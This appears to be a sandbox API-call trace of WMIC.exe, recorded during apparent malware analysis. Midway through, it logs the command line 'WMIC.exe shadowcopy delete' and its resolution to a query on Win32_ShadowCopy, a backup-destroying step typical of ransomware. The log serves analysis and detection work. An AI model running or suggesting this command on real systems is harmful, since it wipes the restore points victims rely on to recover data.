	[0209.190] SysStringLen (param_1="htable-sortby") returned 0xd
	[0209.190] SysStringLen (param_1="TABLE") returned 0x5
	[0209.190] SysStringLen (param_1="htable-sortby") returned 0xd
	[0209.190] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0209.190] SysStringLen (param_1="htable-sortby") returned 0xd
	[0209.190] SysStringLen (param_1="XML") returned 0x3
	[0209.190] SysStringLen (param_1="htable-sortby") returned 0xd
	[0209.190] SysStringLen (param_1="texttablewsys") returned 0xd
	[0209.190] SysStringLen (param_1="htable-sortby") returned 0xd
	[0209.190] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0209.190] SysStringLen (param_1="XML") returned 0x3
	[0209.190] SysStringLen (param_1="htable-sortby") returned 0xd
	[0209.191] malloc (_Size=0x30) returned 0x248480
	[0209.191] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0209.191] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0209.191] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0209.191] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=17, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0209.191] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="mof.xsl") returned 0x0
	[0209.191] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0209.191] malloc (_Size=0x18) returned 0x249460
	[0209.191] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0209.192] free (_Block=0x249460) 
	[0209.192] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat.xsl", varVal2=0x60070001c)) returned 0x0
	[0209.192] malloc (_Size=0x18) returned 0x249460
	[0209.192] malloc (_Size=0x18) returned 0x249480
	[0209.192] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0209.192] SysStringLen (param_1="TABLE") returned 0x5
	[0209.192] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0209.192] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0209.192] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0209.192] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0209.192] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0209.192] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0209.192] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0209.193] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0209.193] malloc (_Size=0x30) returned 0x2484c0
	[0209.193] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0209.193] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0209.193] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0209.193] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=18, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0209.193] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="mof.xsl") returned 0x0
	[0209.193] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0209.193] malloc (_Size=0x18) returned 0x2494a0
	[0209.193] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0209.194] free (_Block=0x2494a0) 
	[0209.194] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat", varVal2=0x60070001c)) returned 0x0
	[0209.194] malloc (_Size=0x18) returned 0x2494a0
	[0209.194] malloc (_Size=0x18) returned 0x2494c0
	[0209.194] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0209.194] SysStringLen (param_1="TABLE") returned 0x5
	[0209.194] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0209.194] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0209.194] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0209.194] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0209.195] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0209.195] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0209.195] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0209.195] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0209.195] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0209.195] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0209.195] malloc (_Size=0x30) returned 0x248500
	[0209.195] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0209.195] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0209.195] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0209.196] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=19, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0209.196] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="textvaluelist.xsl") returned 0x0
	[0209.196] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0209.196] malloc (_Size=0x18) returned 0x2494e0
	[0209.196] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0209.196] free (_Block=0x2494e0) 
	[0209.196] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat.xsl", varVal2=0x60070001c)) returned 0x0
	[0209.196] malloc (_Size=0x18) returned 0x2494e0
	[0209.197] malloc (_Size=0x18) returned 0x249500
	[0209.197] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0209.197] SysStringLen (param_1="TABLE") returned 0x5
	[0209.197] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0209.197] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0209.197] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0209.197] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0209.197] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0209.197] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0209.197] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0209.197] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0209.197] malloc (_Size=0x30) returned 0x248540
	[0209.198] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0209.198] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0209.198] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0209.198] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=20, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0209.198] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="textvaluelist.xsl") returned 0x0
	[0209.198] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0209.198] malloc (_Size=0x18) returned 0x249520
	[0209.198] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0209.198] free (_Block=0x249520) 
	[0209.199] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat", varVal2=0x60070001c)) returned 0x0
	[0209.199] malloc (_Size=0x18) returned 0x249520
	[0209.199] malloc (_Size=0x18) returned 0x249540
	[0209.199] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0209.199] SysStringLen (param_1="TABLE") returned 0x5
	[0209.199] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0209.199] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0209.199] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0209.199] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0209.199] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0209.199] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0209.200] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0209.200] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0209.200] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0209.200] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0209.200] malloc (_Size=0x30) returned 0x248580
	[0209.200] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0209.200] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0209.200] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0209.200] IUnknown:Release (This=0x1d19cc0) returned 0x0
	[0209.200] FreeThreadedDOMDocument:IUnknown:Release (This=0x1d1bc50) returned 0x1
	[0209.200] FreeThreadedDOMDocument:IUnknown:Release (This=0x1d171d0) returned 0x0
	[0209.201] free (_Block=0x249040) 
	[0209.201] GetCommandLineW () returned="WMIC.exe  shadowcopy delete"
	[0209.201] malloc (_Size=0x40) returned 0x246d70
	[0209.201] memcpy_s (in: _Destination=0x246d70, _DestinationSize=0x3e, _Source=0x2625be, _SourceSize=0x36 | out: _Destination=0x246d70) returned 0x0
	[0209.202] malloc (_Size=0x18) returned 0x249040
	[0209.202] malloc (_Size=0x18) returned 0x249560
	[0209.202] malloc (_Size=0x18) returned 0x249580
	[0209.202] malloc (_Size=0x18) returned 0x2495a0
	[0209.202] malloc (_Size=0x80) returned 0x246e50
	[0209.202] GetLocalTime (in: lpSystemTime=0x18f870 | out: lpSystemTime=0x18f870*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x6, wDay=0x12, wHour=0x16, wMinute=0x6, wSecond=0xe, wMilliseconds=0x25d)) 
	[0209.202] _vsnwprintf (in: _Buffer=0x246e50, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x18f7c8 | out: _Buffer="01-18-2020T22:06:14") returned 19
	[0209.203] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0209.203] malloc (_Size=0x28) returned 0x246dc0
	[0209.203] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0209.203] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0209.203] malloc (_Size=0x28) returned 0x24ca40
	[0209.203] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0209.203] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0209.203] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0209.203] malloc (_Size=0x16) returned 0x2495c0
	[0209.203] lstrlenW (lpString="shadowcopy") returned 10
	[0209.204] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81
	[0209.204] malloc (_Size=0x16) returned 0x2495e0
	[0209.204] malloc (_Size=0x8) returned 0x24ca70
	[0209.204] free (_Block=0x0) 
	[0209.204] free (_Block=0x2495c0) 
	[0209.204] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0209.204] malloc (_Size=0xe) returned 0x2495c0
	[0209.204] lstrlenW (lpString="delete") returned 6
	[0209.204] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66
	[0209.204] malloc (_Size=0xe) returned 0x249600
	[0209.204] malloc (_Size=0x10) returned 0x249620
	[0209.204] memmove_s (in: _Destination=0x249620, _DestinationSize=0x8, _Source=0x24ca70, _SourceSize=0x8 | out: _Destination=0x249620) returned 0x0
	[0209.205] free (_Block=0x24ca70) 
	[0209.205] free (_Block=0x0) 
	[0209.205] free (_Block=0x2495c0) 
	[0209.205] malloc (_Size=0x10) returned 0x2495c0
	[0209.205] lstrlenW (lpString="QUIT") returned 4
	[0209.205] lstrlenW (lpString="shadowcopy") returned 10
	[0209.205] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3
	[0209.205] lstrlenW (lpString="EXIT") returned 4
	[0209.205] lstrlenW (lpString="shadowcopy") returned 10
	[0209.205] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3
	[0209.205] free (_Block=0x2495c0) 
	[0209.205] WbemLocator:IUnknown:AddRef (This=0x1e91390) returned 0x2
	[0209.206] malloc (_Size=0x10) returned 0x2495c0
	[0209.206] lstrlenW (lpString="/") returned 1
	[0209.206] lstrlenW (lpString="shadowcopy") returned 10
	[0209.206] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3
	[0209.206] lstrlenW (lpString="-") returned 1
	[0209.206] lstrlenW (lpString="shadowcopy") returned 10
	[0209.206] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3
	[0209.206] lstrlenW (lpString="CLASS") returned 5
	[0209.207] lstrlenW (lpString="shadowcopy") returned 10
	[0209.207] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3
	[0209.207] lstrlenW (lpString="PATH") returned 4
	[0209.207] lstrlenW (lpString="shadowcopy") returned 10
	[0209.207] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3
	[0209.207] lstrlenW (lpString="CONTEXT") returned 7
	[0209.207] lstrlenW (lpString="shadowcopy") returned 10
	[0209.207] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3
	[0209.207] lstrlenW (lpString="shadowcopy") returned 10
	[0209.207] malloc (_Size=0x16) returned 0x249640
	[0209.207] lstrlenW (lpString="shadowcopy") returned 10
	[0209.208] GetCurrentThreadId () returned 0x1dcc
	[0209.208] ??0CHString@@QEAA@XZ () returned 0x18f680
	[0209.208] malloc (_Size=0x18) returned 0x249660
	[0209.208] malloc (_Size=0x18) returned 0x249680
	[0209.208] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1e91390, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff852998 | out: ppNamespace=0xff852998*=0x1ea3a98) returned 0x0
	[0210.139] free (_Block=0x249680) 
	[0210.140] free (_Block=0x249660) 
	[0210.140] CoSetProxyBlanket (pProxy=0x1ea3a98, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0
	[0210.140] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0210.141] GetCurrentThreadId () returned 0x1dcc
	[0210.141] ??0CHString@@QEAA@XZ () returned 0x18f518
	[0210.141] malloc (_Size=0x18) returned 0x249660
	[0210.141] malloc (_Size=0x18) returned 0x249680
	[0210.141] malloc (_Size=0x18) returned 0x2496a0
	[0210.141] malloc (_Size=0x18) returned 0x2496c0
	[0210.141] SysStringLen (param_1="root\\cli") returned 0x8
	[0210.141] SysStringLen (param_1="\\") returned 0x1
	[0210.142] malloc (_Size=0x18) returned 0x2496e0
	[0210.142] SysStringLen (param_1="root\\cli\\") returned 0x9
	[0210.142] SysStringLen (param_1="ms_409") returned 0x6
	[0210.142] free (_Block=0x2496c0) 
	[0210.142] free (_Block=0x2496a0) 
	[0210.142] free (_Block=0x249680) 
	[0210.142] free (_Block=0x249660) 
	[0210.142] malloc (_Size=0x18) returned 0x249660
	[0210.143] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1e91390, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff8529a0 | out: ppNamespace=0xff8529a0*=0x1ea3b28) returned 0x0
	[0210.392] free (_Block=0x249660) 
	[0210.392] free (_Block=0x2496e0) 
	[0210.392] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0210.392] GetCurrentThreadId () returned 0x1dcc
	[0210.392] ??0CHString@@QEAA@XZ () returned 0x18f690
	[0210.392] malloc (_Size=0x18) returned 0x2496e0
	[0210.392] malloc (_Size=0x18) returned 0x249660
	[0210.393] malloc (_Size=0x18) returned 0x249680
	[0210.393] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28
	[0210.393] malloc (_Size=0x3a) returned 0x24ca70
	[0210.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff7e1980, cbMultiByte=-1, lpWideCharStr=0x24ca70, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29
	[0210.393] free (_Block=0x24ca70) 
	[0210.393] malloc (_Size=0x18) returned 0x2496a0
	[0210.393] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c
	[0210.393] SysStringLen (param_1="shadowcopy") returned 0xa
	[0210.393] malloc (_Size=0x18) returned 0x2496c0
	[0210.394] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26
	[0210.394] SysStringLen (param_1="'") returned 0x1
	[0210.394] free (_Block=0x2496a0) 
	[0210.394] free (_Block=0x249680) 
	[0210.394] free (_Block=0x249660) 
	[0210.394] free (_Block=0x2496e0) 
	[0210.395] IWbemServices:GetObject (in: This=0x1ea3a98, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x18f698*=0x0, ppCallResult=0x0 | out: ppObject=0x18f698*=0x1eb04e0, ppCallResult=0x0) returned 0x0
	[0210.415] malloc (_Size=0x18) returned 0x2496e0
	[0210.415] IWbemClassObject:Get (in: This=0x1eb04e0, wszName="Target", lFlags=0, pVal=0x18f5c0*(varType=0x0, wReserved1=0xff85, wReserved2=0x0, wReserved3=0x0, varVal1=0xff852998, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x18f5c0*(varType=0x8, wReserved1=0xff85, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0210.415] free (_Block=0x2496e0) 
	[0210.416] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0210.416] malloc (_Size=0x3e) returned 0x24ca70
	[0210.416] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0210.416] malloc (_Size=0x18) returned 0x2496e0
	[0210.416] IWbemClassObject:Get (in: This=0x1eb04e0, wszName="PWhere", lFlags=0, pVal=0x18f5c0*(varType=0x0, wReserved1=0xff85, wReserved2=0x0, wReserved3=0x0, varVal1=0x28e068, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x18f5c0*(varType=0x8, wReserved1=0xff85, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0210.416] free (_Block=0x2496e0) 
	[0210.417] lstrlenW (lpString=" Where ID = '#'") returned 15
	[0210.417] malloc (_Size=0x20) returned 0x24cac0
	[0210.417] lstrlenW (lpString=" Where ID = '#'") returned 15
	[0210.417] malloc (_Size=0x18) returned 0x2496e0
	[0210.417] IWbemClassObject:Get (in: This=0x1eb04e0, wszName="Connection", lFlags=0, pVal=0x18f5c0*(varType=0x0, wReserved1=0xff85, wReserved2=0x0, wReserved3=0x0, varVal1=0x2dd7f8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x18f5c0*(varType=0xd, wReserved1=0xff85, wReserved2=0x0, wReserved3=0x0, varVal1=0x1eb09c0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0210.418] free (_Block=0x2496e0) 
	[0210.418] IUnknown:QueryInterface (in: This=0x1eb09c0, riid=0xff7e7360*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x18f5b0 | out: ppvObject=0x18f5b0*=0x1eb09c0) returned 0x0
	[0210.418] GetCurrentThreadId () returned 0x1dcc
	[0210.418] ??0CHString@@QEAA@XZ () returned 0x18f4d8
	[0210.418] malloc (_Size=0x18) returned 0x2496e0
	[0210.418] IWbemClassObject:Get (in: This=0x1eb09c0, wszName="Namespace", lFlags=0, pVal=0x18f500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff7f738f, varVal2=0x2496e0), pType=0x0, plFlavor=0x0 | out: pVal=0x18f500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x2496e0), pType=0x0, plFlavor=0x0) returned 0x0
	[0210.418] free (_Block=0x2496e0) 
	[0210.418] lstrlenW (lpString="ROOT\\CIMV2") returned 10
	[0210.418] malloc (_Size=0x16) returned 0x2496e0
	[0210.418] lstrlenW (lpString="ROOT\\CIMV2") returned 10
	[0210.419] malloc (_Size=0x18) returned 0x249660
	[0210.419] IWbemClassObject:Get (in: This=0x1eb09c0, wszName="Locale", lFlags=0, pVal=0x18f500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x30bf28, varVal2=0x2496e0), pType=0x0, plFlavor=0x0 | out: pVal=0x18f500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x2496e0), pType=0x0, plFlavor=0x0) returned 0x0
	[0210.419] free (_Block=0x249660) 
	[0210.419] lstrlenW (lpString="ms_409") returned 6
	[0210.419] malloc (_Size=0xe) returned 0x249660
	[0210.419] lstrlenW (lpString="ms_409") returned 6
	[0210.419] malloc (_Size=0x18) returned 0x249680
	[0210.420] IWbemClassObject:Get (in: This=0x1eb09c0, wszName="User", lFlags=0, pVal=0x18f500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x30bf28, varVal2=0x2496e0), pType=0x0, plFlavor=0x0 | out: pVal=0x18f500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x30bf28, varVal2=0x2496e0), pType=0x0, plFlavor=0x0) returned 0x0
	[0210.420] free (_Block=0x249680) 
	[0210.420] malloc (_Size=0x18) returned 0x249680
	[0210.420] IWbemClassObject:Get (in: This=0x1eb09c0, wszName="Password", lFlags=0, pVal=0x18f500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x30bf28, varVal2=0x2496e0), pType=0x0, plFlavor=0x0 | out: pVal=0x18f500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x30bf28, varVal2=0x2496e0), pType=0x0, plFlavor=0x0) returned 0x0
	[0210.420] free (_Block=0x249680) 
	[0210.420] malloc (_Size=0x18) returned 0x249680
	[0210.420] IWbemClassObject:Get (in: This=0x1eb09c0, wszName="Server", lFlags=0, pVal=0x18f500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x30bf28, varVal2=0x2496e0), pType=0x0, plFlavor=0x0 | out: pVal=0x18f500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x2496e0), pType=0x0, plFlavor=0x0) returned 0x0
	[0210.421] free (_Block=0x249680) 
	[0210.421] lstrlenW (lpString=".") returned 1
	[0210.421] malloc (_Size=0x4) returned 0x24caf0
	[0210.421] lstrlenW (lpString=".") returned 1
	[0210.421] malloc (_Size=0x18) returned 0x249680
	[0210.421] IWbemClassObject:Get (in: This=0x1eb09c0, wszName="Authority", lFlags=0, pVal=0x18f500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x30bf28, varVal2=0x2496e0), pType=0x0, plFlavor=0x0 | out: pVal=0x18f500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x30bf28, varVal2=0x2496e0), pType=0x0, plFlavor=0x0) returned 0x0
	[0210.421] free (_Block=0x249680) 
	[0210.421] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0210.421] IUnknown:Release (This=0x1eb09c0) returned 0x1
	[0210.422] GetCurrentThreadId () returned 0x1dcc
	[0210.422] ??0CHString@@QEAA@XZ () returned 0x18f4d8
	[0210.422] malloc (_Size=0x18) returned 0x249680
	[0210.422] IWbemClassObject:Get (in: This=0x1eb04e0, wszName="__RELPATH", lFlags=0, pVal=0x18f500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x30bf28, varVal2=0xd), pType=0x0, plFlavor=0x0 | out: pVal=0x18f500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0xd), pType=0x0, plFlavor=0x0) returned 0x0
	[0210.423] free (_Block=0x249680) 
	[0210.423] malloc (_Size=0x18) returned 0x249680
	[0210.423] GetCurrentThreadId () returned 0x1dcc
	[0210.423] ??0CHString@@QEAA@XZ () returned 0x18f358
	[0210.423] ??0CHString@@QEAA@PEBG@Z () returned 0x18f370
	[0210.424] ??0CHString@@QEAA@AEBV0@@Z () returned 0x18f300
	[0210.424] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0210.424] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x24cb10
	[0210.424] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b
	[0210.424] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x18f2c0
	[0210.424] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x18f308
	[0210.424] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x18f370
	[0210.425] ??1CHString@@QEAA@XZ () returned 0x11f28501
	[0210.425] ??1CHString@@QEAA@XZ () returned 0x11f28501
	[0210.425] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x18f2c8
	[0210.425] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x18f300
	[0210.425] ??1CHString@@QEAA@XZ () returned 0x1
	[0210.425] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x24cb80
	[0210.425] ?Find@CHString@@QEBAHPEBG@Z () returned 0xa
	[0210.425] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x18f2c0
	[0210.425] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x18f308
	[0210.425] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x18f370
	[0210.425] ??1CHString@@QEAA@XZ () returned 0x11f28501
	[0210.425] ??1CHString@@QEAA@XZ () returned 0x11f28501
	[0210.425] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x18f2c8
	[0210.426] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x18f300
	[0210.426] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0210.426] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7fef3374820
	[0210.426] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0210.426] malloc (_Size=0x18) returned 0x2496a0
	[0210.426] malloc (_Size=0x18) returned 0x249700
	[0210.426] malloc (_Size=0x18) returned 0x249720
	[0210.426] malloc (_Size=0x18) returned 0x249740
	[0210.426] malloc (_Size=0x18) returned 0x249760
	[0210.427] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c
	[0210.427] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17
	[0210.427] malloc (_Size=0x18) returned 0x249780
	[0210.427] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53
	[0210.427] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29
	[0210.428] malloc (_Size=0x18) returned 0x2497a0
	[0210.428] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c
	[0210.428] SysStringLen (param_1="\"") returned 0x1
	[0210.429] free (_Block=0x249780) 
	[0210.429] free (_Block=0x249760) 
	[0210.429] free (_Block=0x249740) 
	[0210.429] free (_Block=0x249720) 
	[0210.429] free (_Block=0x249700) 
